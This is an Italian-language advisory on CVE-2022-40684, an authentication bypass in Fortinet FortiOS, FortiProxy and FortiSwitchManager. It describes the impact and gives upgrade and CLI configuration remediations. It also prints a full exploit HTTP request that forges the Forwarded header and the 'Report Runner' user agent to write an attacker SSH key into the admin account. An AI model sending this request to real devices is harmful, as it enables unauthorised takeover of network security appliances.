CVE-2022-40684

Dec 02 2022
Informazioni sulla vulnerabilità CVE-2022-40684 è una vulnerabilità di bypass dell'autenticazione in alcuni dei prodotti Fortinet come FortiOS, Fortiproxy e FortiSwitchManager. Ciò significa che, utilizzando questa vulnerabilità, l'attaccante può aggirare l'autenticazione e accedere come amministratore.

Informazioni sulla vulnerabilità

CVE-2022-40684 è una vulnerabilità di bypass dell'autenticazione in alcuni dei prodotti Fortinet come FortiOS, Fortiproxy e FortiSwitchManager. Ciò significa che, utilizzando questa vulnerabilità, l'attaccante può aggirare l'autenticazione e accedere come amministratore. Il punteggio base per questa vulnerabilità è 9,8, il che la rende estremamente critica. Prima di andare oltre, capiamo cosa sono questi prodotti:

  1. FortiOS: come suggerisce il nome, FortiOS, il sistema operativo di rete Fortinet , è il cuore di Fortinet Security. Questo sistema operativo è al centro del Security Fabric e unisce tutti i componenti per garantire una stretta integrazione nell'intera distribuzione di un'organizzazione.
  2. FortiProxy: è un proxy Web sicuro che protegge i dipendenti dagli attacchi trasmessi da Internet incorporando più tecniche di rilevamento come il filtraggio Web.
  3. FortiSwitchManager (FSWM) è la piattaforma di gestione on-premise per il prodotto FortiSwitch . Le unità FortiSwitch si connettono a FortiSwitch Manager tramite la rete di livello 3. Puoi configurare un gran numero di unità FortiSwitch con questa piattaforma di sola gestione FortiSwitch.

Impatto

Il bug consentirà a un utente non autenticato di eseguire operazioni direttamente sul pannello di amministrazione tramite alcune richieste HTTP/S (i metodi possono essere GET, POST, DELETE ecc.). Avere il ruolo di amministratore può causare alcuni dei seguenti eventi:

  1. Il controllo assume l'intera applicazione
  2. Ottenere l'accesso all'infrastruttura interna
  3. Aggiunta o cancellazione di utenti
  4. Esposizione a dati sensibili
  5. Modificare le chiavi SSH degli utenti amministratori per consentire all'aggressore di accedere al sistema compromesso
  6. Manomissione con diversi file di configurazione, ecc.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Tipo di contenuto: application/json Inoltrato: for=”[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58=dev@devs-MacBook-Pro.local \”” }

  • Utilizzando l'intestazione Fowarded, un utente malintenzionato è in grado di impostare client_ip su "127.0.0.1".
  • Il controllo di autenticazione "accesso sicuro" verifica che client_ip sia "127.0.0.1" e User-Agent sia "Report Runner", entrambi sotto il controllo dell'attaccante.

“Trovare rimedio è molto più importante che trovare un difetto”

Di seguito sono riportati alcuni rimedi per proteggere un'organizzazione da CVE-2022–40684:

  1. Aggiornamento dei prodotti interessati.
    Aggiorna la versione di FortiOS a ≥7.2.2 e ≥7.0.7
    Aggiorna la versione di FortiProxy a ≥7.2.1 e ≥ 7.0.7
    Aggiorna la versione di FortiSwitchManager ≥7.2.1 e ≥7.0.1
  2. Disabilita l'interfaccia amministrativa http/https su FortiOS, FortiProxy e FortiSwitchManager.
  3. Per FortiOS, limitare gli indirizzi IP che possono raggiungere l'interfaccia amministrativa
  4. config firewall address
    edit "my_allowed_addresses"
    set subnet <MY IP> <MY SUBNET>
    end
    

    config firewall addrgrp
    edit "MGMT_IPs"
    set member "my_allowed_addresses"
    end
    

    config firewall local-in-policy
    edit 1
    set intf port1
    set srcaddr "MGMT_IPs"
    set dstaddr "all"
    set action accept
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    next
    edit 2
    set intf "any"
    set srcaddr "all"
    set dstaddr "all"
    set action deny
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    end
    

    config firewall service custom
    edit GUI_HTTPS
    set tcp-portrange <admin-sport>
    next
    edit GUI_HTTP
    set tcp-portrange <admin-port>
    end
    

config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end